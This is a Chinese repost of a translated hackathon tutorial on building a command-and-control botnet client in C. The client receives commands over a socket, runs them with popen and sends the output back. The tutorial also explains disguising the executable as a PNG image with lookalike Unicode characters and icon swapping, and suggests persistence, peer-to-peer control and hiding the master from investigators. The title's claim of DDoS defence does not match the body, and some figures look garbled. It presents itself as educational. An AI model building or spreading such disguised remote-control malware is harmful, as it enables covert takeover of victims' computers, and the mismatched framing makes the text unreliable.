当前位置: 首页 > 科技观察

僵尸网络如何防御DDoS攻击

时间:2023-03-13 04:52:48 科技观察

大家好,最近在国外看到一篇关于僵尸网络的文章,今天分享给大家。当然,我们当然可以防御DDoS,比如云清洗。我写这篇文章的目的是让大家更加了解如何防范DDoS攻击,请勿将其作为违法行为使用!愿这个世界上没有黑色产品。简单的C&C僵尸网络这个hackpack将带您了解一个以僵尸网络为核心的基本框架。如果您以前使用过C,它可能会有所帮助。如果您喜欢本教程,请务必为这个repo加注星标!注意:请勿将您在此处学到的任何内容用于恶意目的。这个hackpack只是一个用于教育目的的僵尸网络案例研究。在此hackpack中学到的概念具有深远的用例(基本上与网络有关)。最重要的是,此hackpack旨在在本地进行测试和部署(因此请不要与其他黑客分享您构建的与此hackpack相关的任何内容)。隐私很重要,所以请尊重它。什么是僵尸网络?在构建僵尸网络之前,了解什么是僵尸网络很重要。僵尸网络是能够远程接收命令并在本地部署它们的计算机网络。或者,他们可以选择将信息中继回网络中的其他节点。它们已被用于从分布式拒绝服务攻击到广泛部署的间谍软件的所有领域。您过去可能听说过许多僵尸网络。最突出的可能是Mirai和GameoverZeus,它们分别控制了3.8和360百万个物联网设备。僵尸网络执行某些任务的方式千差万别。但是为了成功构建我们的僵尸网络,我们需要在我们的工作网络中确保以下功能。我们的僵尸网络应该:包括一个控制网络上所有其他节点的主节点;在主机上部署伪装的恶意软件/从节点;从主节点向从节点发送命令,执行并将输出返回给主节点。这种结构是所谓的命令和控制僵尸网络的特征。这些僵尸网络有一个主服务器和多个从服务器。然而,这种类型的僵尸网络已经过时,可以通过切断对主域的访问来轻松取缔。更新和复杂的僵尸网络遵循对等架构,其中管理员权限分布在网络中的所有节点或节点子集。这些僵尸网络令安全专家头疼,因为没有中央控制点,而且它们可以增长到数百万个节点。销毁此类僵尸网络本身就是一本有趣的书。但是,为了这个hackpack的目的,让我们保持简单。我们将为C&C僵尸网络实现一个简单的从节点。执行此hackpack将主要处理实现客户端恶意软件。对于主服务器,我们可以使用名为Netcat的开源TCP服务器。Netcat与僵尸网络无关。它只是一个方便的、已建立的工具,我们可以将其重新用于向客户端(真正的主人)发送文本包和从客户端发送文本包。我稍微调整了netcat服务器并将其编译成一个名为“master”的二进制文件。没有更多的工作在这里!我们的主人可以使用了。Slaves让我们继续更有趣的部分:接收和执行远程命令(稍后我们会担心恶意软件会伪装我们)。这里的目标是让我们的从节点尽可能简单并遵守上面详述的要求。请注意,许多常量在lib/macros.h中定义,因此请随意使用它们。所有已实现的函数签名都可以在lib/connect.h或lib/utils.h中找到。1.启动并打开bot.c文件。在我们的服务器中启动一个新节点时,我们可能应该为其命名,以便主节点知道将命令部署到哪些客户端。可以使用许多命名约定。使用IP地址可能是最好的,因为它是每个客户端的唯一标识符。不过为了方便普通人阅读,还是用电脑的用户名吧。使用带参数“USER”的C函数getenv()返回计算机存储在USER环境变量中的任何内容。这是一个存储用户用户名的地方,所以让我们使用它。另外,既然你的奴隶正在运行,让我们找到主人。为此,我们必须知道主机的IP地址。每个网络设备都有一个IP地址。它负责识别其他节点和位置寻址。此外,master可以有许多服务器在不同的端口上运行。所以,我们不仅要连接到master,还要指定正确的端口。该端口由主机选择但可以更改。在这个hackpack中,我们想在本地测试它。因此,我们将使用您的计算机作为我们的网络。每台计算机的本地IP地址(“localhost”也解析为)是“127.0.0.1”。在master中,我指定它在端口9999上运行。有了这三样东西(masterIP地址、master端口和slave名称),我们就可以在服务器和客户端之间启动一个称为套接字的通信管道。将这三个参数传递给函数init_socket()以创建套接字。init_function()不是内置的C命令。相反,我们需要实施它。然后,我们需要在堆栈上分配一些空间来保存传入的消息。我们将这个堆栈指针msg称为大约10KB的堆栈空间。最后,有一个printf声明说一切顺利。char*name=//Gettheclient'susernameandstoreitinnameintchannel=//initiateachannelgivenSERVER,PORT,andname;//AllocatestackspaceofsizeCMD_LENGTHtoholddataoftypechar.Callthestackpointermsgprintf("%sjoiningthebotnet\n",name);复制代码现在切换到lib/connect.c。让我们实现init_channel()。首先,我定义了一个名为msg的长度为CMD_LENGTH的堆栈字符缓冲区和一个名为server的特殊C网络结构来保存有关我们与master的连接的信息。首先将传入的ip地址从人类可读格式(带有数字和点)转换为网络字节顺序的二进制格式。这是使用套接字库中名为inet_addr()的特殊C函数完成的。它只需要一个IP地址并将其输出为Web可用的二进制文件。在C语言中,我们可以通过填充名为sockaddr_in的结构的字段来轻松指定网络sockaddr_in。该结构的实例称为服务器。我们需要填写该结构的3个字段:server.sin_addr。s_addr(主IP地址)、server.sin_family(指定通信域的1字节值)和server.sin_port(我们将连接到主服务器上的端口)。sin_family可以给出socket库提供的C宏。通常,在这种情况下,我们将此字段设置为AF_INET。这意味着我们的连接通过IP地址识别网络节点,这正是我们想要的。但是,也可以使用类似于AF_INET的PF_INET,但指定网络可以使用协议中的任何内容来标识特定节点。这两者的存在还有很多假设的历史原因,但这是我并不真正了解或真正关心的事情。只需使用AF_INET。最后,在设置服务器端口的时候,我们还得通过一个特殊的函数按端口调用htons()(hosttonetwork的缩写)。这会将数据从主机字节顺序转换为网络字节顺序。这种字节顺序混乱与称为Endianness的东西有关。最后,我们需要定义主从之间的实际连接!为此,定义一个可以发送数据的网络套接字。认为master有很多“电源插座”。现在,我们需要在从设备上构建一个适合主设备“墙上插座”的“插头”。我们可以使用套接字库的socket()函数。多方便啊!socket()有3个参数:通信域、套接字类型和协议。对于通信世界,您可能已经猜到了:AF_INET。对于套接字类型,我们希望我们的套接字能够简单地双向传输数据。所以使用给定的宏SOCK_STREAM。我们不用担心套接字协议。这是一个相当基本的网络,所以让我们为默认协议使用值0。此函数返回一个表示套接字的int。将此值存储在通道中。接下来,我们要给我们的插座加电(将从设备插入主设备的墙上插座)。调用C函数connect()。这需要三个参数:通道、sockaddr结构和以字节为单位的结构大小。如果connect()返回一个正整数,那么你与master的连接成功了!为了测试我们新发现的连接,让我们向主人打个招呼!填充我们的消息缓冲区并使用respond()(尚未实现)通过通道将消息发送回master。最后,我们希望init_channel()函数返回这个成功的连接。init_channel(char*ip,intport,char*name){charmsg[CMD_LENGTH];structsockaddr_inserver;server.sin_addr.s_addr=//converttheiptonetworkbyteorderserver.sin_family=//设置服务器的通信域server.sin_port=//convertporttonetworkbyteorderintchannel=//defineaSOCK(0){perror("socket:");exit(1);}intconnection_status=//使用定义的通道将slave连接到masterserverif(connection_status<0){perror("connect:");exit(1);}//通过加载字符串发送消息回masterintomsg(hint:snprintfwillcomeinhandy)respond(channel,msg);returnchannel;}2.监听消息一旦slave连接到master,它需要不断地监听消息并立即执行命令。因此,让我们使用一个无限的while循环来接收和解析这些消息。在bot.c中,在printf语句处,添加一个无限循环,它依次调用两个函数:recieve()和parse()。这两个函数都将通道和消息堆栈缓冲区作为参数。您可以在lib/utils.h中找到它们的函数签名。这应该是这样的:InfiniteLoop{recieve(...);parse(...);}gotoutils.cdorecieve()andrespond().recieve()grabsthemessagefromthechannelandrespond()通过通道发回消息。respond()的参数是套接字地址s和我们的堆栈缓冲区msg_buf。我们将使用C函数write()将堆栈缓冲区包含的任何内容写入通道并返回其状态。write()有3个参数:套接字地址、消息缓冲区和消息长度。inrespond(ints,char*msg_buf){//writethecontentsofmsg_bufintosocketsandreturnstatus}recieve()也是一个简单的助手。重置msg缓冲区(提示:使用memset())。现在,调用套接字库函数read()来读取消息。read()有3个参数:套接字地址、消息缓冲区和消息的最大预期长度。intrecieve(ints,char*msg){//resetthemsgbufferintread_status=//readcontentsofsocketsintomsgif(read_status){perror("log:");exit(1);}return0;}3.执行命令即将完成!我们的僵尸网络现在很无聊。它只能通过套接字接收和发送消息。让我们让它实际执行它在终端上接收到的内容。让我们先实现函数parse()。它的作用正如它的名字所说:解析命令。我们可以做一些简单的错误检查来查看消息是否格式错误。此外,我们希望静默忽略收到但不打算收到的消息。该消息将从master格式化为(僵尸网络的名称):(要执行的命令)。我已经为你做了前者。如果两个检查都通过,让我们将命令传递给execute()函数。intparse(ints,char*msg,char*name){char*target=msg;//checkwhetherthemsgwastartectedforthisclient.Ifno,thensilentlydropthepacketbyreturning0char*cmd=strchr(msg,':');if(cmd==NULL){printf("格式不正确.Reference:TARGET:command");return-1;}//adjustthecmdpointertothestartoftheactualcommand//adjusttheterminatedcharactertotheendofthecommand//printalocalstatementdetailingwhatcommandwasrecievedexecute(s,cmd);return0;}关键部分,execute()应该将它接收到的任何命令通过管道传输到终端并写入任何输出到插座回到主。创建一个堆栈缓冲区来存储每一行??输入。然后使用popen()C函数运行输入并将输出存储在文件f中(此时有很多方法可以解决这个问题。您可以自定义僵尸网络以使用主输入做一些非常酷的事情并与僵尸网络在其他节点上进行一些自主协作/更新。随意发挥创意。我们现在只坚持我们的香草目标)。通过f逐行解析并通过套接字转储所有内容。关闭f就大功告成了!intexecute(ints,char*cmd){FILE*f=//usepopentorrunthecommandlocallyif(!f)return-1;while(!feof(f)){//parsethroughflinebylineandsendanyoutputbacktomaster}fclose(f);返回0;}使用以下终端命令编译您的新僵尸网络:gcc-lcurllib/connect.clib/utils.cbot.c-obin/slave在一个终端窗口上运行bin/master,在另一个终端窗口上运行bin/slave。输入命令作为(来自用户名):(远程终端命令)。恭喜!你刚刚建立了一个僵尸网络!4.伪装您的恶意软件您可以做一些很酷的事情来伪装和部署恶意软件。事实上,它本身就是一个完整的领域。您可以做的一个例子是将恶意软件屏蔽为图像。让我们使用熊猫的图像。我向utils.c添加了一个简单的函数,用于卷曲熊猫图像并在预览中呈现它。这给用户打开熊猫图像的概念,而实际上用户正在运行您的恶意软件。要添加它,请在bot.c中包含以下行:char*open_cmd=alias_img();system(open_cmd);free(open_cmd);接下来,右键单击任何图像并选择“获取信息”。对bin/slave做同样的事情。将图像缩略图拖到bin/slave的可执行缩略图上。这应该会改变它在桌面上的外观。但是,我们仍然缺少特征性的.png文件结尾。将您的可执行文件重命名为:panda⒈png现在这看起来像一个png文件。但是,我们使用Unicode字符“1”。代替”。”隐藏这仍然是一个Unix可执行文件的事实。您可以使用更受信任的Unix技巧,例如用于屏蔽可执行文件名称的LEFT-TO-RIGHTOVERRIDE字符。在更极端的情况下,您可以在图像和文件宏中嵌入代码,以便在主机打开时同时运行(有点像特洛伊木马...)。但是,由于TreeHacks中没有人是网络犯罪分子,因此我们不应该太认真地对待这些技术。5.扩展既然你已经有了一个完全可用的僵尸网络,你可以用一些扩展来挑战自己。我们的僵尸网络仍然很无聊。除非用户每次都点击它,否则它什么也做不了。这里有一些建议:(1)实现持久性如果僵尸网络以某种方式留在计算机上,即使计算机关闭,它们也确实可以成为攻击者进行恶意活动的可靠来源。尝试在每次启动时重新启动从站。这样,一旦用户点击恶意软件,他/她的计算机就会被感染,直到他清除它。实现这一目标的一个建议是将您的可执行进程变成守护进程。然后,生成一个配置文件,将您的可执行文件添加到应该在启动时执行的守护进程列表中(云存储应用程序、团队消息传递平台等已经这样做了)。(2)实现对等网络实现对等网络无非是重新安排网络设计。然而,P2P网络的关键是管理员/攻击者可以通过网络上的任何节点实现主控。因此,攻击者应该拥有某种主密钥和加密登录以允许控制任何节点。(3)加多级误导你实现主从结构,不太安全。通过杀死主节点可以轻松释放从节点。最好的情况是,您将切换到P2P设计。但是,您也可以通过一系列攻击者控制的机器人随机引导其命令,然后再将它们部署到僵尸网络,从而略微提高主机的安全性。这使得专家更难定位命令中心并跟踪攻击者节点和客户端节点之间的僵尸网络调用。(4)探索合适的网络协议或许,更重要的是,你想更多地玩转网络。我们的网络非常简单。在许多方面,它极其微弱且绝对不精确。因此,您可能希望探索已建立的网络协议,例如Internet中继聊天(IRC),以构建更合适的网络。虽然需要一段时间,但它极具教育意义,是一项值得的投资。(5)尝试实现自己的master在这个hackpack中,我们使用一个免费的开源项目来替换我们的master服务器。然而,其中涉及许多缺点。首先,我们无法定制我们的主服务器来通过我们的网络发送自动命令。它仅限于使用命令行输入。其次,您可能已经注意到,每个命令都会被僵尸网络上的所有奴隶接收。我们执行的条件是检查目标名称是否与从属名称匹配。如果为false,该命令将被静默删除。这称为广播网络。一个更理想的网络可能是多播网络。在广播网络中,节点将数据包中继到其连接的所有节点。在多播系统中,可以指定节点的某个子集来接收数据包。此外,多播网络用于将命令分发从客户端移动到它所属的主服务器。实施您自己的主节点,将僵尸网络从广播切换到多播。当然,我们当然可以防御DDoS,比如云清洗。我写这篇文章的目的是让大家更加了解如何防范DDoS攻击,请勿将其作为违法行为使用!愿这个世界没有黑产参考链接:github:https://github.com/TreeHacks/botnet-hackpack#1-initiation